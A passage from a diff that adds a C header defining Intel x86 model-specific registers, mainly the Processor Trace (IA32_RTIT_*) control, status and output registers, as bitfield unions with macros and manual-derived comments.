IA32_SGX_SVN_STATUS_SGX_SVN_SINIT_MASK 0xFF +#define IA32_SGX_SVN_STATUS_SGX_SVN_SINIT(_) (((_) >> 16) & 0xFF) + uint64_t reserved2 : 40; + }; + + uint64_t flags; +} ia32_sgx_svn_status_register; + + +/** + * Trace Output Base Register. + * + * @remarks If ( (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) && ( (CPUID.(EAX=14H,ECX=0): ECX[0] = 1) || + * (CPUID.(EAX=14H,ECX=0):ECX[2] = 1) ) ) + * @see Vol3C[35.2.7.7(IA32_RTIT_OUTPUT_BASE MSR)] (reference) + */ +#define IA32_RTIT_OUTPUT_BASE 0x00000560 +typedef union +{ + struct + { + uint64_t reserved1 : 7; + + /** + * @brief Base physical address + * + * [Bits 47:7] The base physical address. How this address is used depends on the value of IA32_RTIT_CTL.ToPA: + * - 0: This is the base physical address of a single, contiguous physical output region. This could be mapped to DRAM or + * to MMIO, depending on the value. The base address should be aligned with the size of the region, such that none of the + * 1s in the mask value overlap with 1s in the base address. If the base is not aligned, an operational error will result. + * - 1: The base physical address of the current ToPA table. The address must be 4K aligned. Writing an address in which + * bits 11:7 are non-zero will not cause a \#GP, but an operational error will be signaled once TraceEn is set. + * + * @see Vol3C[35.2.7.8(IA32_RTIT_OUTPUT_MASK_PTRS MSR)] + * @see Vol3C[35.3.9(Operational Errors)] + * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA))] + */ + uint64_t base_physical_address : 41; +#define IA32_RTIT_OUTPUT_BASE_BASE_PHYSICAL_ADDRESS_BIT 7 +#define IA32_RTIT_OUTPUT_BASE_BASE_PHYSICAL_ADDRESS_FLAG 0xFFFFFFFFFF80 +#define IA32_RTIT_OUTPUT_BASE_BASE_PHYSICAL_ADDRESS_MASK 0x1FFFFFFFFFF +#define IA32_RTIT_OUTPUT_BASE_BASE_PHYSICAL_ADDRESS(_) (((_) >> 7) & 0x1FFFFFFFFFF) + uint64_t reserved2 : 16; + }; + + uint64_t flags; +} ia32_rtit_output_base_register; + + +/** + * Trace Output Mask Pointers Register. + * + * @remarks If ( (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) && ( (CPUID.(EAX=14H,ECX=0):ECX[0] = 1) || + * (CPUID.(EAX=14H,ECX=0):ECX[2] = 1) ) ) + * @see Vol3C[35.2.7.8(IA32_RTIT_OUTPUT_MASK_PTRS MSR)] (reference) + */ +#define IA32_RTIT_OUTPUT_MASK_PTRS 0x00000561 +typedef union +{ + struct + { + /** + * [Bits 6:0] Forced to 1, writes are ignored. + */ + uint64_t lower_mask : 7; +#define IA32_RTIT_OUTPUT_MASK_PTRS_LOWER_MASK_BIT 0 +#define IA32_RTIT_OUTPUT_MASK_PTRS_LOWER_MASK_FLAG 0x7F +#define IA32_RTIT_OUTPUT_MASK_PTRS_LOWER_MASK_MASK 0x7F +#define IA32_RTIT_OUTPUT_MASK_PTRS_LOWER_MASK(_) (((_) >> 0) & 0x7F) + + /** + * @brief MaskOrTableOffset + * + * [Bits 31:7] The use of this field depends on the value of IA32_RTIT_CTL.ToPA: + * - 0: This field holds bits 31:7 of the mask value for the single, contiguous physical output region. The size of this + * field indicates that regions can be of size 128B up to 4GB. This value (combined with the lower 7 bits, which are + * reserved to 1) will be ANDed with the OutputOffset field to determine the next write address. All 1s in this field + * should be consecutive and starting at bit 7, otherwise the region will not be contiguous, and an operational error will + * be signaled when TraceEn is set. + * - 1: This field holds bits 27:3 of the offset pointer into the current ToPA table. This value can be added to the + * IA32_RTIT_OUTPUT_BASE value to produce a pointer to the current ToPA table entry, which itself is a pointer to the + * current output region. In this scenario, the lower 7 reserved bits are ignored. This field supports tables up to 256 + * MBytes in size. + * + * @see Vol3C[35.3.9(Operational Errors)] + */ + uint64_t mask_or_table_offset : 25; +#define IA32_RTIT_OUTPUT_MASK_PTRS_MASK_OR_TABLE_OFFSET_BIT 7 +#define IA32_RTIT_OUTPUT_MASK_PTRS_MASK_OR_TABLE_OFFSET_FLAG 0xFFFFFF80 +#define IA32_RTIT_OUTPUT_MASK_PTRS_MASK_OR_TABLE_OFFSET_MASK 0x1FFFFFF +#define IA32_RTIT_OUTPUT_MASK_PTRS_MASK_OR_TABLE_OFFSET(_) (((_) >> 7) & 0x1FFFFFF) + + /** + * @brief Output Offset + * + * [Bits 63:32] The use of this field depends on the value of IA32_RTIT_CTL.ToPA: + * - 0: This is bits 31:0 of the offset pointer into the single, contiguous physical output region. This value will be + * added to the IA32_RTIT_OUTPUT_BASE value to form the physical address at which the next byte of packet output data will + * be written. This value must be less than or equal to the MaskOrTableOffset field, otherwise an operational error will be + * signaled when TraceEn is set. + * - 1: This field holds bits 31:0 of the offset pointer into the current ToPA output region. This value will be added to + * the output region base field, found in the current ToPA table entry, to form the physical address at which the next byte + * of trace output data will be written. This value must be less than the ToPA entry size, otherwise an operational error + * will be signaled when TraceEn is set. + * + * @see Vol3C[35.3.9(Operational Errors)] + */ + uint64_t output_offset : 32; +#define IA32_RTIT_OUTPUT_MASK_PTRS_OUTPUT_OFFSET_BIT 32 +#define IA32_RTIT_OUTPUT_MASK_PTRS_OUTPUT_OFFSET_FLAG 0xFFFFFFFF00000000 +#define IA32_RTIT_OUTPUT_MASK_PTRS_OUTPUT_OFFSET_MASK 0xFFFFFFFF +#define IA32_RTIT_OUTPUT_MASK_PTRS_OUTPUT_OFFSET(_) (((_) >> 32) & 0xFFFFFFFF) + }; + + uint64_t flags; +} ia32_rtit_output_mask_ptrs_register; + + +/** + * Trace Control Register. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) + * @see Vol3C[35.2.7.2(IA32_RTIT_CTL MSR)] (reference) + */ +#define IA32_RTIT_CTL 0x00000570 +typedef union +{ + struct + { + /** + * @brief TraceEn + * + * [Bit 0] If 1, enables tracing; else tracing is disabled. + * When this bit transitions from 1 to 0, all buffered packets are flushed out of internal buffers. A further store, fence, + * or architecturally serializing instruction may be required to ensure that packet data can be observed at the trace + * endpoint. + * Note that the processor will clear this bit on \#SMI (Section) and warm reset. Other MSR bits of IA32_RTIT_CTL (and + * other trace configuration MSRs) are not impacted by these events. + * + * @see Vol3C[35.2.7.3(Enabling and Disabling Packet Generation with TraceEn)] + */ + uint64_t trace_enabled : 1; +#define IA32_RTIT_CTL_TRACE_ENABLED_BIT 0 +#define IA32_RTIT_CTL_TRACE_ENABLED_FLAG 0x01 +#define IA32_RTIT_CTL_TRACE_ENABLED_MASK 0x01 +#define IA32_RTIT_CTL_TRACE_ENABLED(_) (((_) >> 0) & 0x01) + + /** + * @brief CYCEn + * + * [Bit 1] - 0: Disables CYC Packet. + * - 1: Enables CYC Packet. + * + * @remarks If CPUID.(EAX=14H, ECX=0):EBX.CPSB_CAM[bit 1] = 0 + * @see Vol3C[35.4.2.14(Cycle Count (CYC) Packet)] + */ + uint64_t cyc_enabled : 1; +#define IA32_RTIT_CTL_CYC_ENABLED_BIT 1 +#define IA32_RTIT_CTL_CYC_ENABLED_FLAG 0x02 +#define IA32_RTIT_CTL_CYC_ENABLED_MASK 0x01 +#define IA32_RTIT_CTL_CYC_ENABLED(_) (((_) >> 1) & 0x01) + + /** + * @brief OS + * + * [Bit 2] - 0: Packet generation is disabled when CPL = 0. + * - 1: Packet generation may be enabled when CPL = 0. + */ + uint64_t os : 1; +#define IA32_RTIT_CTL_OS_BIT 2 +#define IA32_RTIT_CTL_OS_FLAG 0x04 +#define IA32_RTIT_CTL_OS_MASK 0x01 +#define IA32_RTIT_CTL_OS(_) (((_) >> 2) & 0x01) + + /** + * @brief User + * + * [Bit 3] - 0: Packet generation is disabled when CPL > 0. + * - 1: Packet generation may be enabled when CPL > 0. + */ + uint64_t user : 1; +#define IA32_RTIT_CTL_USER_BIT 3 +#define IA32_RTIT_CTL_USER_FLAG 0x08 +#define IA32_RTIT_CTL_USER_MASK 0x01 +#define IA32_RTIT_CTL_USER(_) (((_) >> 3) & 0x01) + + /** + * @brief PwrEvtEn + * + * [Bit 4] - 0: Power Event Trace packets are disabled. + * - 1: Power Event Trace packets are enabled. + * + * @see Vol3C[35.2.3(Power Event Tracing)] + */ + uint64_t power_event_trace_enabled : 1; +#define IA32_RTIT_CTL_POWER_EVENT_TRACE_ENABLED_BIT 4 +#define IA32_RTIT_CTL_POWER_EVENT_TRACE_ENABLED_FLAG 0x10 +#define IA32_RTIT_CTL_POWER_EVENT_TRACE_ENABLED_MASK 0x01 +#define IA32_RTIT_CTL_POWER_EVENT_TRACE_ENABLED(_) (((_) >> 4) & 0x01) + + /** + * @brief FUPonPTW + * + * [Bit 5] - 0: PTW packets are not followed by FUPs. + * - 1: PTW packets are followed by FUPs. + */ + uint64_t fup_on_ptw : 1; +#define IA32_RTIT_CTL_FUP_ON_PTW_BIT 5 +#define IA32_RTIT_CTL_FUP_ON_PTW_FLAG 0x20 +#define IA32_RTIT_CTL_FUP_ON_PTW_MASK 0x01 +#define IA32_RTIT_CTL_FUP_ON_PTW(_) (((_) >> 5) & 0x01) + + /** + * @brief FabricEn + * + * [Bit 6] - 0: Trace output is directed to the memory subsystem, mechanism depends on IA32_RTIT_CTL.ToPA. + * - 1: Trace output is directed to the trace transport subsystem, IA32_RTIT_CTL.ToPA is ignored. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):ECX[3] = 1) Reserved if CPUID.(EAX=14H, ECX=0):ECX[bit 3] = 0 + */ + uint64_t fabric_enabled : 1; +#define IA32_RTIT_CTL_FABRIC_ENABLED_BIT 6 +#define IA32_RTIT_CTL_FABRIC_ENABLED_FLAG 0x40 +#define IA32_RTIT_CTL_FABRIC_ENABLED_MASK 0x01 +#define IA32_RTIT_CTL_FABRIC_ENABLED(_) (((_) >> 6) & 0x01) + + /** + * @brief CR3 filter + * + * [Bit 7] - 0: Disables CR3 filtering. + * - 1: Enables CR3 filtering. + */ + uint64_t cr3_filter : 1; +#define IA32_RTIT_CTL_CR3_FILTER_BIT 7 +#define IA32_RTIT_CTL_CR3_FILTER_FLAG 0x80 +#define IA32_RTIT_CTL_CR3_FILTER_MASK 0x01 +#define IA32_RTIT_CTL_CR3_FILTER(_) (((_) >> 7) & 0x01) + + /** + * @brief ToPA + * + * [Bit 8] - 0: Single-range output scheme enabled. + * - 1: ToPA output scheme enabled. + * + * @remarks 0: If CPUID.(EAX=14H, ECX=0):ECX.SNGLRGNOUT[bit 2] = 1 and IA32_RTIT_CTL.FabricEn=0 1: If CPUID.(EAX=14H, + * ECX=0):ECX.TOPA[bit 0] = 1, and IA32_RTIT_CTL.FabricEn=0 + * WRMSR to IA32_RTIT_CTL that sets TraceEn but clears this bit and FabricEn would cause \#GP: If CPUID.(EAX=14H, + * ECX=0):ECX.SNGLRGNOUT[bit 2] = 0 WRMSR to IA32_RTIT_CTL that sets this bit causes \#GP: If CPUID.(EAX=14H, + * ECX=0):ECX.TOPA[bit 0] = 0 + * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA))] + */ + uint64_t topa : 1; +#define IA32_RTIT_CTL_TOPA_BIT 8 +#define IA32_RTIT_CTL_TOPA_FLAG 0x100 +#define IA32_RTIT_CTL_TOPA_MASK 0x01 +#define IA32_RTIT_CTL_TOPA(_) (((_) >> 8) & 0x01) + + /** + * @brief MTCEn + * + * [Bit 9] - 0: Disables MTC Packet. + * - 1: Enables MTC Packet. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[3] = 1) Reserved if CPUID.(EAX=14H, ECX=0):EBX.MTC[bit 3] = 0 + * @see Vol3C[35.4.2.16(Overflow (OVF) Packet)] + */ + uint64_t mtc_enabled : 1; +#define IA32_RTIT_CTL_MTC_ENABLED_BIT 9 +#define IA32_RTIT_CTL_MTC_ENABLED_FLAG 0x200 +#define IA32_RTIT_CTL_MTC_ENABLED_MASK 0x01 +#define IA32_RTIT_CTL_MTC_ENABLED(_) (((_) >> 9) & 0x01) + + /** + * @brief TSCEn + * + * [Bit 10] - 0: Disable TSC packets. + * - 1: Enable TSC packets. + * + * @see Vol3C[35.4.2.11(Timestamp Counter (TSC) Packet)] + */ + uint64_t tsc_enabled : 1; +#define IA32_RTIT_CTL_TSC_ENABLED_BIT 10 +#define IA32_RTIT_CTL_TSC_ENABLED_FLAG 0x400 +#define IA32_RTIT_CTL_TSC_ENABLED_MASK 0x01 +#define IA32_RTIT_CTL_TSC_ENABLED(_) (((_) >> 10) & 0x01) + + /** + * @brief DisRETC + * + * [Bit 11] - 0: Enable RET compression. + * - 1: Disable RET compression. + * + * @see Vol3C[35.2.1.2(Indirect Transfer COFI)] + */ + uint64_t ret_compression_disabled : 1; +#define IA32_RTIT_CTL_RET_COMPRESSION_DISABLED_BIT 11 +#define IA32_RTIT_CTL_RET_COMPRESSION_DISABLED_FLAG 0x800 +#define IA32_RTIT_CTL_RET_COMPRESSION_DISABLED_MASK 0x01 +#define IA32_RTIT_CTL_RET_COMPRESSION_DISABLED(_) (((_) >> 11) & 0x01) + + /** + * @brief PTWEn + * + * [Bit 12] - 0: PTWRITE packet generation disabled. + * - 1: PTWRITE packet generation enabled. + */ + uint64_t ptw_enabled : 1; +#define IA32_RTIT_CTL_PTW_ENABLED_BIT 12 +#define IA32_RTIT_CTL_PTW_ENABLED_FLAG 0x1000 +#define IA32_RTIT_CTL_PTW_ENABLED_MASK 0x01 +#define IA32_RTIT_CTL_PTW_ENABLED(_) (((_) >> 12) & 0x01) + + /** + * @brief BranchEn + * + * [Bit 13] - 0: Disable COFI-based packets. + * - 1: Enable COFI-based packets: FUP, TIP, TIP.PGE, TIP.PGD, TNT, MODE.Exec, MODE.TSX. + * + * @see Vol3C[35.2.5.4(Branch Enable (BranchEn))] + */ + uint64_t branch_enabled : 1; +#define IA32_RTIT_CTL_BRANCH_ENABLED_BIT 13 +#define IA32_RTIT_CTL_BRANCH_ENABLED_FLAG 0x2000 +#define IA32_RTIT_CTL_BRANCH_ENABLED_MASK 0x01 +#define IA32_RTIT_CTL_BRANCH_ENABLED(_) (((_) >> 13) & 0x01) + + /** + * @brief MTCFreq + * + * [Bits 17:14] Defines MTC packet Frequency, which is based on the core crystal clock, or Always Running Timer (ART). MTC + * will be sent each time the selected ART bit toggles. The following Encodings are defined: + * 0: ART(0), 1: ART(1), 2: ART(2), 3: ART(3), 4: ART(4), 5: ART(5), 6: ART(6), 7: ART(7), 8: ART(8), 9: ART(9), 10: + * ART(10), 11: ART(11), 12: ART(12), 13: ART(13), 14: ART(14), 15: ART(15) + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[3] = 1) Reserved if CPUID.(EAX=14H, ECX=0):EBX.MTC[bit 3] = 0 + * @see Vol3C[35.3.1(Detection of Intel Processor Trace and Capability Enumeration)] + */ + uint64_t mtc_frequency : 4; +#define IA32_RTIT_CTL_MTC_FREQUENCY_BIT 14 +#define IA32_RTIT_CTL_MTC_FREQUENCY_FLAG 0x3C000 +#define IA32_RTIT_CTL_MTC_FREQUENCY_MASK 0x0F +#define IA32_RTIT_CTL_MTC_FREQUENCY(_) (((_) >> 14) & 0x0F) + uint64_t reserved1 : 1; + + /** + * @brief CYCThresh + * + * [Bits 22:19] CYC packet threshold. CYC packets will be sent with the first eligible packet after N cycles have passed + * since the last CYC packet. If CycThresh is 0 then N=0, otherwise N is defined as 2(CycThresh-1). The following Encodings + * are defined: + * 0: 0, 1: 1, 2: 2, 3: 4, 4: 8, 5: 16, 6: 32, 7: 64, 8: 128, 9: 256, 10: 512, 11: 1024, 12: 2048, 13: 4096, 14: 8192, 15: + * 16384 + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[1] = 1) Reserved if CPUID.(EAX=14H, ECX=0):EBX.CPSB_CAM[bit 1] = 0 + * @see Vol3C[35.3.6(Cycle-Accurate Mode)] + * @see Vol3C[35.3.1(Detection of Intel Processor Trace and Capability Enumeration)] + */ + uint64_t cyc_threshold : 4; +#define IA32_RTIT_CTL_CYC_THRESHOLD_BIT 19 +#define IA32_RTIT_CTL_CYC_THRESHOLD_FLAG 0x780000 +#define IA32_RTIT_CTL_CYC_THRESHOLD_MASK 0x0F +#define IA32_RTIT_CTL_CYC_THRESHOLD(_) (((_) >> 19) & 0x0F) + uint64_t reserved2 : 1; + + /** + * @brief PSBFreq + * + * [Bits 27:24] Indicates the frequency of PSB packets. PSB packet frequency is based on the number of Intel PT packet + * bytes output, so this field allows the user to determine the increment of IA32_IA32_RTIT_STATUS.PacketByteCnt that + * should cause a PSB to be generated. Note that PSB insertion is not precise, but the average output bytes per PSB should + * approximate the SW selected period. The following Encodings are defined: + * 0: 2K, 1: 4K, 2: 8K, 3: 16K, 4: 32K, 5: 64K, 6: 128K, 7: 256K, 8: 512K, 9: 1M, 10: 2M, 11: 4M, 12: 8M, 13: 16M, 14: 32M, + * 15: 64M + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[1] = 1) Reserved if CPUID.(EAX=14H, ECX=0):EBX.CPSB_CAM[bit 1] = 0 + * @see Vol3C[35.3.1(Detection of Intel Processor Trace and Capability Enumeration)] + */ + uint64_t psb_frequency : 4; +#define IA32_RTIT_CTL_PSB_FREQUENCY_BIT 24 +#define IA32_RTIT_CTL_PSB_FREQUENCY_FLAG 0xF000000 +#define IA32_RTIT_CTL_PSB_FREQUENCY_MASK 0x0F +#define IA32_RTIT_CTL_PSB_FREQUENCY(_) (((_) >> 24) & 0x0F) + uint64_t reserved3 : 4; + + /** + * @brief ADDR0_CFG + * + * [Bits 35:32] Configures the base/limit register pair IA32_RTIT_ADDR0_A/B based on the following encodings: + * - 0: ADDR0 range unused. + * - 1: The [IA32_RTIT_ADDR0_A..IA32_RTIT_ADDR0_B] range defines a FilterEn range. FilterEn will only be set when the IP is + * within this range, though other FilterEn ranges can additionally be used. + * - 2: The [IA32_RTIT_ADDR0_A..IA32_RTIT_ADDR0_B] range defines a TraceStop range. TraceStop will be asserted if code + * branches into this range. + * - 3..15: Reserved (\#GP). + * + * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > 0) Reserved if CPUID.(EAX=14H, ECX=1):EBX.RANGECNT[2:0] >= 0 + * @see Vol3C[35.2.4.3(Filtering by IP)] + * @see Vol3C[35.4.2.10(Core:Bus Ratio (CBR) Packet)] + */ + uint64_t addr0_cfg : 4; +#define IA32_RTIT_CTL_ADDR0_CFG_BIT 32 +#define IA32_RTIT_CTL_ADDR0_CFG_FLAG 0xF00000000 +#define IA32_RTIT_CTL_ADDR0_CFG_MASK 0x0F +#define IA32_RTIT_CTL_ADDR0_CFG(_) (((_) >> 32) & 0x0F) + + /** + * @brief ADDR1_CFG + * + * [Bits 39:36] Configures the base/limit register pair IA32_RTIT_ADDR1_A/B based on the following encodings: + * - 0: ADDR1 range unused. + * - 1: The [IA32_RTIT_ADDR1_A..IA32_RTIT_ADDR1_B] range defines a FilterEn range. FilterEn will only be set when the IP is + * within this range, though other FilterEn ranges can additionally be used. + * - 2: The [IA32_RTIT_ADDR1_A..IA32_RTIT_ADDR1_B] range defines a TraceStop range. TraceStop will be asserted if code + * branches into this range. + * - 3..15: Reserved (\#GP). + * + * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > 1) Reserved if CPUID.(EAX=14H, ECX=1):EBX.RANGECNT[2:0] < 2 + * @see Vol3C[35.2.4.3(Filtering by IP)] + * @see Vol3C[35.4.2.10(Core:Bus Ratio (CBR) Packet)] + */ + uint64_t addr1_cfg : 4; +#define IA32_RTIT_CTL_ADDR1_CFG_BIT 36 +#define IA32_RTIT_CTL_ADDR1_CFG_FLAG 0xF000000000 +#define IA32_RTIT_CTL_ADDR1_CFG_MASK 0x0F +#define IA32_RTIT_CTL_ADDR1_CFG(_) (((_) >> 36) & 0x0F) + + /** + * @brief ADDR2_CFG + * + * [Bits 43:40] Configures the base/limit register pair IA32_RTIT_ADDR2_A/B based on the following encodings: + * - 0: ADDR2 range unused. + * - 1: The [IA32_RTIT_ADDR2_A..IA32_RTIT_ADDR2_B] range defines a FilterEn range. FilterEn will only be set when the IP is + * within this range, though other FilterEn ranges can additionally be used. + * - 2: The [IA32_RTIT_ADDR2_A..IA32_RTIT_ADDR2_B] range defines a TraceStop range. TraceStop will be asserted if code + * branches into this range. + * - 3..15: Reserved (\#GP). + * + * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > 2) Reserved if CPUID.(EAX=14H, ECX=1):EBX.RANGECNT[2:0] < 3 + * @see Vol3C[35.2.4.3(Filtering by IP)] + * @see Vol3C[35.4.2.10(Core:Bus Ratio (CBR) Packet)] + */ + uint64_t addr2_cfg : 4; +#define IA32_RTIT_CTL_ADDR2_CFG_BIT 40 +#define IA32_RTIT_CTL_ADDR2_CFG_FLAG 0xF0000000000 +#define IA32_RTIT_CTL_ADDR2_CFG_MASK 0x0F +#define IA32_RTIT_CTL_ADDR2_CFG(_) (((_) >> 40) & 0x0F) + + /** + * @brief ADDR3_CFG + * + * [Bits 47:44] Configures the base/limit register pair IA32_RTIT_ADDR3_A/B based on the following encodings: + * - 0: ADDR3 range unused. + * - 1: The [IA32_RTIT_ADDR3_A..IA32_RTIT_ADDR3_B] range defines a FilterEn range. FilterEn will only be set when the IP is + * within this range, though other FilterEn ranges can additionally be used. + * - 2: The [IA32_RTIT_ADDR3_A..IA32_RTIT_ADDR3_B] range defines a TraceStop range. TraceStop will be asserted if code + * branches into this range. + * - 3..15: Reserved (\#GP). + * + * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > 3) Reserved if CPUID.(EAX=14H, ECX=1):EBX.RANGECNT[2:0] < 4 + * @see Vol3C[35.2.4.3(Filtering by IP)] + * @see Vol3C[35.4.2.10(Core:Bus Ratio (CBR) Packet)] + */ + uint64_t addr3_cfg : 4; +#define IA32_RTIT_CTL_ADDR3_CFG_BIT 44 +#define IA32_RTIT_CTL_ADDR3_CFG_FLAG 0xF00000000000 +#define IA32_RTIT_CTL_ADDR3_CFG_MASK 0x0F +#define IA32_RTIT_CTL_ADDR3_CFG(_) (((_) >> 44) & 0x0F) + uint64_t reserved4 : 8; + + /** + * @brief InjectPsbPmiOnEnable + * + * [Bit 56] - 1: Enables use of IA32_RTIT_STATUS bits PendPSB[6] and PendTopaPMI[7]. + * - 0: IA32_RTIT_STATUS bits 6 and 7 are ignored. + * + * @remarks Reserved if CPUID.(EAX=14H, ECX=0):EBX.INJECTPSBPMI[6] = 0 + * @see Vol3C[35.2.7.4(IA32_RTIT_STATUS MSR)] + */ + uint64_t inject_psb_pmi_on_enable : 1; +#define IA32_RTIT_CTL_INJECT_PSB_PMI_ON_ENABLE_BIT 56 +#define IA32_RTIT_CTL_INJECT_PSB_PMI_ON_ENABLE_FLAG 0x100000000000000 +#define IA32_RTIT_CTL_INJECT_PSB_PMI_ON_ENABLE_MASK 0x01 +#define IA32_RTIT_CTL_INJECT_PSB_PMI_ON_ENABLE(_) (((_) >> 56) & 0x01) + uint64_t reserved5 : 7; + }; + + uint64_t flags; +} ia32_rtit_ctl_register; + + +/** + * Tracing Status Register. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) + */ +#define IA32_RTIT_STATUS 0x00000571 +typedef union +{ + struct + { + /** + * @brief FilterEn (writes ignored) + * + * [Bit 0] This bit is written by the processor, and indicates that tracing is allowed for the current IP. Writes are + * ignored. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[2] = 1) + * @see Vol3C[35.2.5.5(Filter Enable (FilterEn))] + */ + uint64_t filter_enabled : 1; +#define IA32_RTIT_STATUS_FILTER_ENABLED_BIT 0 +#define IA32_RTIT_STATUS_FILTER_ENABLED_FLAG 0x01 +#define IA32_RTIT_STATUS_FILTER_ENABLED_MASK 0x01 +#define IA32_RTIT_STATUS_FILTER_ENABLED(_) (((_) >> 0) & 0x01) + + /** + * @brief ContexEn (writes ignored) + * + * [Bit 1] The processor sets this bit to indicate that tracing is allowed for the current context. Writes are ignored. + * + * @see Vol3C[35.2.5.3(Context Enable (ContextEn))] + */ + uint64_t context_enabled : 1; +#define IA32_RTIT_STATUS_CONTEXT_ENABLED_BIT 1 +#define IA32_RTIT_STATUS_CONTEXT_ENABLED_FLAG 0x02 +#define IA32_RTIT_STATUS_CONTEXT_ENABLED_MASK 0x01 +#define IA32_RTIT_STATUS_CONTEXT_ENABLED(_) (((_) >> 1) & 0x01) + + /** + * @brief TriggerEn (writes ignored) + * + * [Bit 2] The processor sets this bit to indicate that tracing is enabled. Writes are ignored. + * + * @see Vol3C[35.2.5.2(Trigger Enable (TriggerEn))] + */ + uint64_t trigger_enabled : 1; +#define IA32_RTIT_STATUS_TRIGGER_ENABLED_BIT 2 +#define IA32_RTIT_STATUS_TRIGGER_ENABLED_FLAG 0x04 +#define IA32_RTIT_STATUS_TRIGGER_ENABLED_MASK 0x01 +#define IA32_RTIT_STATUS_TRIGGER_ENABLED(_) (((_) >> 2) & 0x01) + uint64_t reserved1 : 1; + + /** + * @brief Error + * + * [Bit 4] The processor sets this bit to indicate that an operational error has been encountered. When this bit is set, + * TriggerEn is cleared to 0 and packet generation is disabled. + * When TraceEn is cleared, software can write this bit. Once it is set, only software can clear it. It is not recommended + * that software ever set this bit, except in cases where it is restoring a prior saved state. + * + * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA) | ToPA Errors)] + */ + uint64_t error : 1; +#define IA32_RTIT_STATUS_ERROR_BIT 4 +#define IA32_RTIT_STATUS_ERROR_FLAG 0x10 +#define IA32_RTIT_STATUS_ERROR_MASK 0x01 +#define IA32_RTIT_STATUS_ERROR(_) (((_) >> 4) & 0x01) + + /** + * @brief Stopped + * + * [Bit 5] The processor sets this bit to indicate that a ToPA Stop condition has been encountered. When this bit is set, + * TriggerEn is cleared to 0 and packet generation is disabled. + * When TraceEn is cleared, software can write this bit. Once it is set, only software can clear it. It is not recommended + * that software ever set this bit, except in cases where it is restoring a prior saved state. + * + * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA) | ToPA STOP)] + */ + uint64_t stopped : 1; +#define IA32_RTIT_STATUS_STOPPED_BIT 5 +#define IA32_RTIT_STATUS_STOPPED_FLAG 0x20 +#define IA32_RTIT_STATUS_STOPPED_MASK 0x01 +#define IA32_RTIT_STATUS_STOPPED(_) (((_) >> 5) & 0x01) + + /** + * @brief Pend PSB + * + * [Bit 6] If IA32_RTIT_CTL.InjectPsbPmiOnEnable[56] = 1, the processor sets this bit when the threshold for a PSB+ to be + * inserted has been reached. The processor will clear this bit when the PSB+ has been inserted into the trace. If PendPSB + * = 1 and InjectPsbPmiOnEnable = 1 when IA32_RTIT_CTL.TraceEn[0] transitions from 0 to 1, a PSB+ will be inserted into the + * trace. + * + * @remarks If CPUID.(EAX=14H, ECX=0):EBX.INJECTPSBPMI[6] = 1 + */ + uint64_t pend_psb : 1; +#define IA32_RTIT_STATUS_PEND_PSB_BIT 6 +#define IA32_RTIT_STATUS_PEND_PSB_FLAG 0x40 +#define IA32_RTIT_STATUS_PEND_PSB_MASK 0x01 +#define IA32_RTIT_STATUS_PEND_PSB(_) (((_) >> 6) & 0x01) + + /** + * @brief Pend ToPA PMI + * + * [Bit 7] If IA32_RTIT_CTL.InjectPsbPmiOnEnable[56] = 1, the processor sets this bit when the threshold for a ToPA PMI to + * be inserted has been reached. Software should clear this bit once the ToPA PMI has been handled. If PendTopaPMI = 1 and + * InjectPsbPmiOnEnable = 1 when IA32_RTIT_CTL.TraceEn[0] transitions from 0 to 1, a PMI will be pended. + * + * @remarks If CPUID.(EAX=14H, ECX=0):EBX.INJECTPSBPMI[6] = 1 + * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA) | ToPA PMI)] + */ + uint64_t pend_topa_pmi : 1; +#define IA32_RTIT_STATUS_PEND_TOPA_PMI_BIT 7 +#define IA32_RTIT_STATUS_PEND_TOPA_PMI_FLAG 0x80 +#define IA32_RTIT_STATUS_PEND_TOPA_PMI_MASK 0x01 +#define IA32_RTIT_STATUS_PEND_TOPA_PMI(_) (((_) >> 7) & 0x01) + uint64_t reserved2 : 24; + + /** + * @brief PacketByteCnt + * + * [Bits 48:32] This field is written by the processor, and holds a count of packet bytes that have been sent out. The + * processor also uses this field to determine when the next PSB packet should be inserted. Note that the processor may + * clear or modify this field at any time while IA32_RTIT_CTL.TraceEn=1. It will have a stable value when + * IA32_RTIT_CTL.TraceEn=0. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[1] > 3) + * @see Vol3C[35.4.2.17(Packet Stream Boundary (PSB) Packet)] + */ + uint64_t packet_byte_count : 17; +#define IA32_RTIT_STATUS_PACKET_BYTE_COUNT_BIT 32 +#define IA32_RTIT_STATUS_PACKET_BYTE_COUNT_FLAG 0x1FFFF00000000 +#define IA32_RTIT_STATUS_PACKET_BYTE_COUNT_MASK 0x1FFFF +#define IA32_RTIT_STATUS_PACKET_BYTE_COUNT(_) (((_) >> 32) & 0x1FFFF) + uint64_t reserved3 : 15; + }; + + uint64_t flags; +} ia32_rtit_status_register; + + +/** + * @brief Trace Filter CR3 Match Register (R/W) + * + * The IA32_RTIT_CR3_MATCH register is compared against CR3 when IA32_RTIT_CTL.CR3Filter is 1. Bits 63:5 hold the CR3 + * address value to match, bits 4:0 are reserved to 0. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) + * @see Vol3C[35.2.4.2(Filtering by CR3)] + * @see Vol3C[35.2.7.6(IA32_RTIT_CR3_MATCH MSR)] (reference) + */ +#define IA32_RTIT_CR3_MATCH 0x00000572 +typedef union +{ + struct + { + uint64_t reserved1 : 5; + + /** + * [Bits 63:5] CR3[63:5] value to match. + */ + uint64_t cr3_value_to_match : 59; +#define IA32_RTIT_CR3_MATCH_CR3_VALUE_TO_MATCH_BIT 5 +#define 